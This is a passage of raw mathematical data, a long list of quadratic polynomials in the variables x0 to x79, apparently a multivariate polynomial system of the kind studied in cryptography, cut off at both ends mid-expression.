x63*x69 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x67 + x64*x68 + x64*x71 + x64*x72 + x64 + x65*x66 + x65*x69 + x65*x73 + x65*x74 + x65 + x66*x68 + x66*x70 + x66*x71 + x66*x76 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x69 + x67*x71 + x67*x72 + x67*x73 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x68*x69 + x68*x72 + x68*x73 + x68*x74 + x68*x75 + x68*x76 + x68*x78 + x69*x71 + x69*x72 + x69*x74 + x69*x76 + x69*x77 + x70*x71 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70*x78 + x70 + x71*x76 + x72*x74 + x72*x75 + x72*x78 + x73*x74 + x73*x77 + x73*x79 + x74*x75 + x74*x77 + x74 + x75*x76 + x75*x78 + x75 + x76*x77 + x76 + x77*x78 + x77*x79 + x77 + x78*x79 + x78 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x12 + x0*x17 + x0*x20 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x37 + x0*x38 + x0*x42 + x0*x45 + x0*x46 + x0*x49 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x64 + x0*x65 + x0*x67 + x0*x69 + x0*x71 + x0*x72 + x0*x74 + x0*x75 + x0*x77 + x0*x79 + x1*x4 + x1*x8 + x1*x9 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x25 + x1*x26 + x1*x27 + x1*x31 + x1*x33 + x1*x39 + x1*x42 + x1*x43 + x1*x49 + x1*x50 + x1*x52 + x1*x53 + x1*x56 + x1*x58 + x1*x62 + x1*x64 + x1*x66 + x1*x67 + x1*x70 + x1*x74 + x1*x79 + x1 + x2*x3 + x2*x6 + x2*x9 + x2*x11 + x2*x12 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x22 + x2*x24 + x2*x25 + x2*x29 + x2*x30 + x2*x32 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x60 + x2*x61 + x2*x62 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x70 + x2*x72 + x2*x73 + x2*x79 + x3*x7 + x3*x11 + x3*x12 + x3*x13 + x3*x17 + x3*x18 + x3*x19 + x3*x21 + x3*x22 + x3*x23 + x3*x27 + x3*x29 + x3*x31 + x3*x32 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x40 + x3*x41 + x3*x43 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x49 + x3*x55 + x3*x56 + x3*x60 + x3*x64 + x3*x65 + x3*x67 + x3*x70 + x3*x72 + x3*x74 + x3*x76 + x3*x77 + x3 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x18 + x4*x22 + x4*x23 + x4*x24 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x40 + x4*x44 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x57 + x4*x62 + x4*x69 + x4*x71 + x4*x73 + x4*x75 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x11 + x5*x13 + x5*x14 + x5*x15 + x5*x17 + x5*x19 + x5*x20 + x5*x21 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x31 + x5*x33 + x5*x34 + x5*x35 + x5*x36 + x5*x38 + x5*x39 + x5*x41 + x5*x45 + x5*x48 + x5*x50 + x5*x51 + x5*x52 + x5*x53 + x5*x56 + x5*x57 + x5*x59 + x5*x60 + x5*x62 + x5*x64 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x77 + x5*x79 + x6*x8 + x6*x10 + x6*x13 + x6*x15 + x6*x17 + x6*x20 + x6*x21 + x6*x23 + x6*x28 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x39 + x6*x40 + x6*x43 + x6*x44 + x6*x46 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x61 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x68 + x6*x69 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x78 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x11 + x7*x14 + x7*x15 + x7*x18 + x7*x19 + x7*x20 + x7*x22 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x42 + x7*x44 + x7*x46 + x7*x47 + x7*x48 + x7*x50 + x7*x51 + x7*x52 + x7*x54 + x7*x58 + x7*x60 + x7*x61 + x7*x63 + x7*x66 + x7*x67 + x7*x69 + x7*x71 + x7*x72 + x7*x77 + x7*x79 + x7 + x8*x10 + x8*x12 + x8*x13 + x8*x14 + x8*x16 + x8*x17 + x8*x22 + x8*x28 + x8*x29 + x8*x30 + x8*x31 + x8*x33 + x8*x36 + x8*x38 + x8*x40 + x8*x41 + x8*x45 + x8*x46 + x8*x47 + x8*x52 + x8*x55 + x8*x57 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x68 + x8*x69 + x8*x70 + x8*x72 + x8*x74 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x15 + x9*x18 + x9*x19 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x28 + x9*x30 + x9*x31 + x9*x33 + x9*x35 + x9*x37 + x9*x42 + x9*x49 + x9*x50 + x9*x51 + x9*x52 + x9*x53 + x9*x54 + x9*x56 + x9*x58 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x74 + x9*x76 + x9*x77 + x9*x78 + x9*x79 + x10*x13 + x10*x17 + x10*x22 + x10*x23 + x10*x24 + x10*x25 + x10*x32 + x10*x37 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x45 + x10*x47 + x10*x49 + x10*x53 + x10*x54 + x10*x56 + x10*x57 + x10*x63 + x10*x66 + x10*x68 + x10*x69 + x10*x73 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x26 + x11*x28 + x11*x31 + x11*x33 + x11*x34 + x11*x35 + x11*x37 + x11*x41 + x11*x45 + x11*x46 + x11*x50 + x11*x52 + x11*x55 + x11*x56 + x11*x57 + x11*x62 + x11*x64 + x11*x65 + x11*x68 + x11*x69 + x11*x73 + x11*x75 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x40 + x12*x41 + x12*x44 + x12*x47 + x12*x50 + x12*x53 + x12*x55 + x12*x56 + x12*x59 + x12*x60 + x12*x61 + x12*x64 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x72 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x26 + x13*x29 + x13*x30 + x13*x31 + x13*x33 + x13*x35 + x13*x36 + x13*x39 + x13*x41 + x13*x43 + x13*x47 + x13*x48 + x13*x49 + x13*x50 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x64 + x13*x69 + x13*x70 + x13*x71 + x13*x75 + x13*x76 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x23 + x14*x26 + x14*x29 + x14*x30 + x14*x31 + x14*x33 + x14*x35 + x14*x42 + x14*x43 + x14*x44 + x14*x46 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x57 + x14*x58 + x14*x60 + x14*x61 + x14*x63 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x74 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x15*x18 + x15*x19 + x15*x20 + x15*x22 + x15*x24 + x15*x26 + x15*x29 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x51 + x15*x53 + x15*x62 + x15*x63 + x15*x68 + x15*x69 + x15*x70 + x15*x71 + x15*x72 + x15*x73 + x15*x74 + x15*x76 + x15*x78 + x15 + x16*x17 + x16*x18 + x16*x20 + x16*x21 + x16*x22 + x16*x24 + x16*x26 + x16*x27 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x39 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x48 + x16*x53 + x16*x57 + x16*x59 + x16*x60 + x16*x67 + x16*x72 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x16*x79 + x16 + x17*x20 + x17*x21 + x17*x22 + x17*x25 + x17*x28 + x17*x30 + x17*x34 + x17*x37 + x17*x42 + x17*x44 + x17*x45 + x17*x46 + x17*x50 + x17*x51 + x17*x52 + x17*x54 + x17*x57 + x17*x59 + x17*x61 + x17*x69 + x17*x71 + x17*x72 + x17*x74 + x17*x75 + x17*x79 + x18*x19 + x18*x23 + x18*x24 + x18*x25 + x18*x33 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x48 + x18*x50 + x18*x53 + x18*x59 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x71 + x18*x76 + x18*x77 + x18 + x19*x24 + x19*x25 + x19*x28 + x19*x29 + x19*x32 + x19*x33 + x19*x43 + x19*x44 + x19*x46 + x19*x47 + x19*x48 + x19*x49 + x19*x51 + x19*x53 + x19*x54 + x19*x58 + x19*x64 + x19*x67 + x19*x68 + x19*x69 + x19*x72 + x19*x75 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x33 + x20*x35 + x20*x36 + x20*x41 + x20*x44 + x20*x46 + x20*x47 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x77 + x20*x78 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x35 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x45 + x21*x48 + x21*x50 + x21*x51 + x21*x54 + x21*x57 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x67 + x21*x68 + x21*x69 + x21*x71 + x21*x78 + x21*x79 + x22*x24 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x42 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x52 + x22*x54 + x22*x56 + x22*x58 + x22*x61 + x22*x63 + x22*x65 + x22*x67 + x22*x71 + x22*x73 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x29 + x23*x30 + x23*x32 + x23*x34 + x23*x36 + x23*x39 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x50 + x23*x52 + x23*x53 + x23*x56 + x23*x58 + x23*x60 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x79 + x23 + x24*x29 + x24*x30 + x24*x31 + x24*x37 + x24*x39 + x24*x41 + x24*x44 + x24*x45 + x24*x46 + x24*x48 + x24*x49 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x62 + x24*x63 + x24*x67 + x24*x68 + x24*x70 + x24*x71 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x35 + x25*x39 + x25*x40 + x25*x41 + x25*x42 + x25*x43 + x25*x46 + x25*x51 + x25*x53 + x25*x56 + x25*x58 + x25*x59 + x25*x61 + x25*x62 + x25*x63 + x25*x67 + x25*x69 + x25*x74 + x25*x76 + x25*x77 + x25*x78 + x25 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x32 + x26*x34 + x26*x36 + x26*x37 + x26*x41 + x26*x43 + x26*x47 + x26*x48 + x26*x52 + x26*x53 + x26*x54 + x26*x57 + x26*x65 + x26*x67 + x26*x69 + x26*x70 + x26*x73 + x26*x74 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x41 + x27*x42 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x53 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x64 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x28*x29 + x28*x30 + x28*x33 + x28*x37 + x28*x38 + x28*x40 + x28*x41 + x28*x42 + x28*x44 + x28*x49 + x28*x51 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x63 + x28*x64 + x28*x65 + x28*x67 + x28*x69 + x28*x72 + x28*x73 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x43 + x29*x44 + x29*x46 + x29*x48 + x29*x55 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x68 + x29*x69 + x29*x70 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x35 + x30*x36 + x30*x38 + x30*x45 + x30*x47 + x30*x48 + x30*x49 + x30*x51 + x30*x53 + x30*x57 + x30*x58 + x30*x60 + x30*x62 + x30*x64 + x30*x70 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x77 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x37 + x31*x39 + x31*x40 + x31*x44 + x31*x47 + x31*x49 + x31*x50 + x31*x52 + x31*x55 + x31*x57 + x31*x58 + x31*x60 + x31*x61 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x75 + x31*x78 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x43 + x32*x44 + x32*x52 + x32*x54 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x62 + x32*x63 + x32*x67 + x32*x68 + x32*x69 + x32*x72 + x32*x73 + x32*x75 + x32*x77 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x59 + x33*x60 + x33*x62 + x33*x63 + x33*x68 + x33*x74 + x33*x76 + x33*x78 + x33*x79 + x34*x36 + x34*x37 + x34*x39 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x69 + x34*x70 + x34*x71 + x34*x73 + x34*x78 + x35*x36 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x48 + x35*x50 + x35*x53 + x35*x55 + x35*x56 + x35*x61 + x35*x63 + x35*x64 + x35*x65 + x35*x66 + x35*x68 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x41 + x36*x42 + x36*x44 + x36*x45 + x36*x50 + x36*x52 + x36*x53 + x36*x54 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x64 + x36*x65 + x36*x67 + x36*x70 + x36*x71 + x36*x72 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36 + x37*x38 + x37*x39 + x37*x41 + x37*x44 + x37*x45 + x37*x47 + x37*x50 + x37*x55 + x37*x59 + x37*x60 + x37*x62 + x37*x63 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x71 + x37*x75 + x37*x77 + x37*x78 + x37 + x38*x40 + x38*x41 + x38*x44 + x38*x47 + x38*x49 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x73 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x44 + x39*x45 + x39*x47 + x39*x49 + x39*x50 + x39*x52 + x39*x53 + x39*x54 + x39*x56 + x39*x59 + x39*x60 + x39*x64 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x73 + x39*x76 + x39*x78 + x40*x42 + x40*x45 + x40*x48 + x40*x54 + x40*x58 + x40*x59 + x40*x60 + x40*x63 + x40*x64 + x40*x67 + x40*x69 + x40*x72 + x40*x75 + x40*x77 + x41*x45 + x41*x47 + x41*x48 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x70 + x41*x72 + x41*x73 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x45 + x42*x48 + x42*x50 + x42*x53 + x42*x54 + x42*x55 + x42*x60 + x42*x61 + x42*x63 + x42*x65 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x77 + x42*x78 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x55 + x43*x56 + x43*x61 + x43*x63 + x43*x69 + x43*x76 + x43*x78 + x44*x47 + x44*x49 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x54 + x44*x56 + x44*x57 + x44*x59 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x70 + x44*x72 + x44*x77 + x45*x47 + x45*x50 + x45*x52 + x45*x54 + x45*x55 + x45*x60 + x45*x63 + x45*x66 + x45*x69 + x45*x74 + x45*x76 + x45*x77 + x45*x78 + x45 + x46*x49 + x46*x50 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x66 + x46*x68 + x46*x69 + x46*x71 + x46*x72 + x46*x75 + x46*x76 + x46*x77 + x46 + x47*x49 + x47*x51 + x47*x53 + x47*x57 + x47*x58 + x47*x59 + x47*x61 + x47*x62 + x47*x65 + x47*x68 + x47*x69 + x47*x72 + x47*x77 + x47*x79 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x62 + x48*x67 + x48*x68 + x48*x70 + x48*x72 + x48*x75 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x55 + x49*x60 + x49*x61 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x72 + x49*x74 + x49*x75 + x49*x78 + x49 + x50*x51 + x50*x54 + x50*x58 + x50*x59 + x50*x62 + x50*x63 + x50*x64 + x50*x65 + x50*x66 + x50*x69 + x50*x72 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x56 + x51*x58 + x51*x61 + x51*x65 + x51*x69 + x51*x71 + x51*x73 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x55 + x52*x59 + x52*x65 + x52*x66 + x52*x68 + x52*x69 + x52*x71 + x52*x73 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x53*x54 + x53*x55 + x53*x56 + x53*x58 + x53*x59 + x53*x62 + x53*x63 + x53*x64 + x53*x67 + x53*x69 + x53*x71 + x53*x75 + x53*x76 + x53*x78 + x53*x79 + x54*x55 + x54*x57 + x54*x58 + x54*x61 + x54*x62 + x54*x63 + x54*x66 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x74 + x54*x76 + x54*x78 + x54 + x55*x56 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x64 + x55*x65 + x55*x67 + x55*x70 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x56*x57 + x56*x60 + x56*x62 + x56*x63 + x56*x64 + x56*x65 + x56*x67 + x56*x70 + x56*x73 + x56*x74 + x56*x75 + x57*x58 + x57*x62 + x57*x63 + x57*x64 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x79 + x58*x59 + x58*x61 + x58*x62 + x58*x63 + x58*x64 + x58*x68 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x61 + x59*x63 + x59*x65 + x59*x67 + x59*x70 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x64 + x60*x66 + x60*x67 + x60*x71 + x60*x72 + x60*x73 + x60*x74 + x60*x77 + x60*x79 + x61*x64 + x61*x66 + x61*x67 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x70 + x62*x72 + x62*x76 + x62*x77 + x62*x79 + x62 + x63*x64 + x63*x65 + x63*x68 + x63*x71 + x63*x74 + x63*x75 + x63*x77 + x63*x79 + x64*x65 + x64*x66 + x64*x67 + x64*x69 + x64*x70 + x64*x72 + x64*x73 + x64*x74 + x64*x77 + x64*x78 + x64 + x65*x66 + x65*x67 + x65*x70 + x65*x73 + x65*x76 + x66*x68 + x66*x71 + x66*x73 + x66*x76 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x73 + x67*x77 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x73 + x68*x74 + x68*x79 + x69*x70 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69*x79 + x70*x73 + x70*x74 + x70*x76 + x70*x78 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x79 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75 + x76*x78 + x76*x79 + x78*x79 + x79 + 1, x0*x3 + x0*x4 + x0*x11 + x0*x15 + x0*x17 + x0*x18 + x0*x20 + x0*x22 + x0*x24 + x0*x27 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x39 + x0*x40 + x0*x45 + x0*x47 + x0*x48 + x0*x51 + x0*x52 + x0*x55 + x0*x57 + x0*x59 + x0*x60 + x0*x61 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x71 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x11 + x1*x13 + x1*x16 + x1*x17 + x1*x18 + x1*x21 + x1*x22 + x1*x25 + x1*x29 + x1*x30 + x1*x34 + x1*x37 + x1*x39 + x1*x44 + x1*x45 + x1*x48 + x1*x49 + x1*x51 + x1*x53 + x1*x55 + x1*x59 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x76 + x1*x79 + x1 + x2*x4 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x20 + x2*x22 + x2*x24 + x2*x25 + x2*x26 + x2*x29 + x2*x31 + x2*x32 + x2*x33 + x2*x35 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x47 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x63 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x73 + x2*x75 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x11 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x29 + x3*x34 + x3*x35 + x3*x36 + x3*x38 + x3*x40 + x3*x41 + x3*x44 + x3*x47 + x3*x48 + x3*x51 + x3*x52 + x3*x55 + x3*x56 + x3*x57 + x3*x59 + x3*x61 + x3*x62 + x3*x66 + x3*x68 + x3*x70 + x3*x73 + x3*x74 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x7 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x23 + x4*x25 + x4*x28 + x4*x31 + x4*x34 + x4*x35 + x4*x39 + x4*x40 + x4*x43 + x4*x44 + x4*x46 + x4*x47 + x4*x49 + x4*x52 + x4*x53 + x4*x57 + x4*x60 + x4*x66 + x4*x67 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x76 + x4*x78 + x4 + x5*x8 + x5*x10 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x18 + x5*x21 + x5*x22 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x30 + x5*x31 + x5*x34 + x5*x36 + x5*x37 + x5*x38 + x5*x40 + x5*x44 + x5*x45 + x5*x51 + x5*x54 + x5*x55 + x5*x56 + x5*x58 + x5*x61 + x5*x62 + x5*x66 + x5*x68 + x5*x70 + x5*x73 + x5*x76 + x5*x77 + x5*x79 + x6*x7 + x6*x9 + x6*x11 + x6*x12 + x6*x14 + x6*x15 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x24 + x6*x26 + x6*x28 + x6*x30 + x6*x32 + x6*x33 + x6*x35 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x48 + x6*x50 + x6*x52 + x6*x55 + x6*x57 + x6*x59 + x6*x61 + x6*x63 + x6*x67 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x76 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x11 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x18 + x7*x19 + x7*x24 + x7*x25 + x7*x30 + x7*x33 + x7*x34 + x7*x35 + x7*x40 + x7*x42 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x54 + x7*x61 + x7*x64 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x73 + x7*x74 + x7*x78 + x8*x11 + x8*x12 + x8*x15 + x8*x16 + x8*x19 + x8*x20 + x8*x23 + x8*x28 + x8*x32 + x8*x34 + x8*x37 + x8*x42 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x53 + x8*x54 + x8*x56 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x68 + x8*x69 + x8*x74 + x8*x78 + x9*x11 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x27 + x9*x31 + x9*x33 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x48 + x9*x49 + x9*x52 + x9*x59 + x9*x61 + x9*x62 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x71 + x9*x72 + x9*x73 + x9*x79 + x9 + x10*x11 + x10*x15 + x10*x16 + x10*x20 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x28 + x10*x31 + x10*x32 + x10*x33 + x10*x35 + x10*x38 + x10*x39 + x10*x40 + x10*x41 + x10*x47 + x10*x51 + x10*x53 + x10*x54 + x10*x55 + x10*x58 + x10*x59 + x10*x64 + x10*x69 + x10*x71 + x10*x73 + x10*x75 + x10*x78 + x11*x12 + x11*x13 + x11*x15 + x11*x19 + x11*x21 + x11*x22 + x11*x23 + x11*x25 + x11*x27 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x36 + x11*x38 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x55 + x11*x61 + x11*x62 + x11*x64 + x11*x66 + x11*x68 + x11*x69 + x11*x70 + x11*x74 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x14 + x12*x15 + x12*x16 + x12*x19 